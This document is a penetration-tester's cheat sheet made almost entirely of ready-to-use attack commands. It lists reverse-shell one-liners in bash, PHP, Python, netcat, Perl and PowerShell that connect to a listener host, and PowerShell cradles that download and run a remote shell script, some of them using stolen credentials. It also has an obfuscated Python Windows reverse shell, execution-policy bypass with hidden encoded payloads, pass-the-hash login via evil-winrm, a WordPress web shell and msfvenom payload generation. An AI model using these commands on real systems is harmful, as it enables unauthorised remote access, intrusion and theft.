Cheat sheets

Common shells

# bash
> bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

# php
> php -r '$sock=fsockopen("127.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# python
> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# nc1
> nc -e /bin/sh 127.0.0.1 4444

# nc2
> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f

# perl
> perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

## perl Windows
> perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

use IO::Socket;
use IO::Socket::INET;
$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

# ruby
* https://github.com/secjohn/ruby-shells
> system("/bin/bash")

nc

  • better listener
> rlwrap netcat -lvnp 4444
  • If nc is blocked, try nc.traditional
  • If nc not available, upload it, url encode chmod +x nc to chmod%20%2bx%20nc

php

powershell

  • Reverse shell payload
$client = New-Object System.Net.Sockets.TCPClient("ip",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Call shell script
> powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip/shell.ps1')
  • Run powershell from terminal
# Execution policy bypass
> powershell -ExecutionPolicy Bypass

# Run a command
> powershell -c <cmd>

# Run encoded command
> powershell -EncodedCommand <b64>

# All in one
> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand <b64-payload>
> Import-Module .\Invoke-PowerShellTcp.ps1
> Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 4444
  • Run a specific function in a script
> powershell -ExecutionPolicy Bypass -command "& { . .\script1.ps1; My-Func }"
  • Invoke powershell shell as a different user
> $SecPassword = ConvertTo-SecureString '<pass>' -AsPlainText -Force
> $Cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', $SecPassword)
> Invoke-Command -Computer dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<ip>/shell.ps1') } -Credential $Cred

python

  • linux
> python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
  • windows-python
(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('ip', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))

shell upgrade

> perl -e 'exec "/bin/bash";'
> echo os.system('/bin/bash')
> python -c 'import pty; pty.spawn("/bin/bash")'
> python3 -c 'import pty; pty.spawn("/bin/bash")'

Windows, run session as a different user

$SecPassword = ConvertTo-SecureString 'pass' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('user', $SecPassword)
$session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { <cmd> }

winrm: 5985

# evil-winrm
> gem install evil-winrm
> evil-winrm -H {ntml-hash} -i {target-ip} -u {user}

Wordpress plugin shell

  • /usr/share/wordlists/SecLists/Web-Shells/WordPress/plugin-shell.php
  • Effective elf shell for wordpress on linux
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf > shell.elf